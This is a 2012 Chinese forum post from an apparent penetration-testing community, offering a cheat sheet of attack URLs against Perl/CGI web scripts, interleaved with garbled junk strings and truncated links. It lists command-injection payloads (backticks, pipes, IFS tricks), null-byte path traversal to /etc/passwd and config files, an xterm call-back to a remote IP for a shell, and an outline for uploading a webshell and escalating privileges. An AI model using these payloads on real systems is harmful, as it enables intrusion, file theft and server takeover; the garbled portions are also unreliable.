中国网络渗透测试联盟
标题:
CGI资料整理
[打印本页]
作者:
admin
时间:
2012-9-13 16:56
标题:
CGI资料整理
总体思路,跳过限制,查看敏感文件和密码相关文件。写入一句话cgi,进后台试传webshell(后台如果加验证或者MD5过的时候,可以试着
0 |% u9 V; j6 o& P4 d# @/ ^; g
cookies欺骗,本地提交),寻找可执行的目录和相关函数,拿shell…………》提权
7 Q- d# {0 k/ B
感谢EMM和ps的睿智和他们高超的脚本技术,还有以前老红4的脚本群英和国外的那些牛淫们
$ h8 ]8 U! t; W' Q) g+ R% R8 K
注“
8 ?' J: N& k9 e( A9 T
perl脚本的漏洞大多出在open()、system()或者 ’’调用中。前者允许读写和执行,而后两个允许执行。
: a6 }" X; e S. q. X8 m
以POST的方法发送表格的话,就不能蒙混过关(%00将不会被解析),所以我们大部分用GET
( H5 t* V2 e2 {$ [
6 c# D9 `- m8 \% N2 k: }6 w
http://target.com/cgi-bin/home/news/sub.pl?12
随意构造
; K4 f( T. k5 R8 V
http://target.com/cgi-bin/home/news/sub.pl?&
换个字符,也许可以执行呢
1 B$ ^1 m3 h5 f0 F O+ F/ v1 ]
http://target.com/cgi-bin/home/news/sub.pl?`ls`
单引号
. |+ K4 ~' K" n
http://target.com/cgi-bin/home/news/sub.pl?`id`
, Q6 @% @1 d; q* k. Y* o
http://target.com/cgi-bin/home/news/sub.pl?`IFS=!;uname!-a`
3 d, `9 v2 h' W' A$ U
http://target.com/cgi-bin/home/news/sub.pl?`cat
<’/home1/siteadm/cgi-bin/home/news/sub.pl’` 非常好的思路,把代码cat回来显示
. I3 w( d, j. G8 @ v0 U
5 P; i- [" Z5 g
http://target.com/test.pl;ls
|
, e% P& Q! [2 {9 C
http://target.com/index.cgi?page=
|ls+-la+/%0aid%0awhich+xterm|
# n$ [ P' ~, j4 j# B8 @9 z* b. k
http://target.com/index.cgi?page=
|xterm+-isplay+10.0.1.21:0.0+%26|
$ C* P$ _0 m( L( c' J. C x9 l, q3 K
http://target.com/test.pl?
’id’ 类似’’内的操作和命令执行自己构造
0 ` u6 H9 C/ b9 A6 `
比如:cat<’/home1/siteadm/cgi-bin/home/news/test.pl’` 把pl代码显示出来。
0 R# K/ q0 ^7 b7 P3 j U
http://target.com/index.cgi?page=;dir+c:
\|&cid=03417 类似asp的Sql injection
; v( X9 F( |! B
) H% m) ?1 B" ~, [% n- u" p
http://target.com/test.pl?&........
/../../etc/passwd
; v; |" X# F/ I% u
( z' M8 r# q+ g3 l
http://www.target.org/cgi-bin/cl
... info.pl?user=./test 前面加./
) B7 s! u( V1 f$ o8 W X- @3 k
http://www.target.org/cgi-bin/cl
... nfo.pl?user=test%00 注意后面的 %00 别弄丢了
9 Z7 A) h% k* Y# ?# _6 P' u+ K- g
http://www.target.org/cgi-bin/cl
... ../../etc/passwd%00
2 a1 V0 X& T H
4 Q! a" X& f* w4 q9 t; g p
http://www.target.org/show.php?f
... /include/config.php 查看php代码
O3 p( ]' Q" a* |
http://www.target.org/show.php?f
... ng/admin/global.php
: g2 t/ l( M3 C
5 ]7 F! z6 x( r1 K! g& S/ Y
emm和ps的一句话
1 J; J; y- W3 }1 k
m; M) y8 z( u2 }3 L( N
http://www.target.org/cgi-bin/cl
... /../../../bin/ls%20
! q+ Z' g h5 Z% H" S n# w
( w2 c0 N) I- p, _
>bbb%20|
]- |5 \8 I" n1 K' f# s1 [
# ?, P9 H% x+ R" y; I* N D
http://www.target.org/cgi-bin/club/scripts
\’less showpost.pl\’ 并且寻找(用\’/\’)\’Select\’ 字符串
8 k3 s$ F6 w2 o9 V3 {1 `1 k: Y
+ a u( }" K6 T: N" N6 ]) @1 W% J
http://www.target.org/cgi-bin/cl
... bin/sh.elf?ls+/http 这里的是elf是CCS中文linux操作系统特征
& n* v) j: l& V" t; x
http://www.target.org/csapi/..%c0%afhttp/china.sh
”+.elf?”+&+ls+/bin
- S6 `6 H) d$ M6 u7 L! x! j7 \
d- E% M x0 o" Q
相关html为后缀的脚本技术,继续深挖中,但是不可质疑的是提交数据查询语句也是一种完美的方法
. P/ {" j. X# z7 B$ a9 x
http://target.com/index.html#cmd.exe
" s9 O% E+ \$ j$ T) B
http://target.com/index.html?dummyparam=xp_cmdshell
( q3 X1 s( [ K7 G: t, k
lynx
http://target.com/cgi-bin/htmlscript?../../../../etc/passwd
' a0 E6 L2 u8 \" w# ]
欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/)
Powered by Discuz! X3.2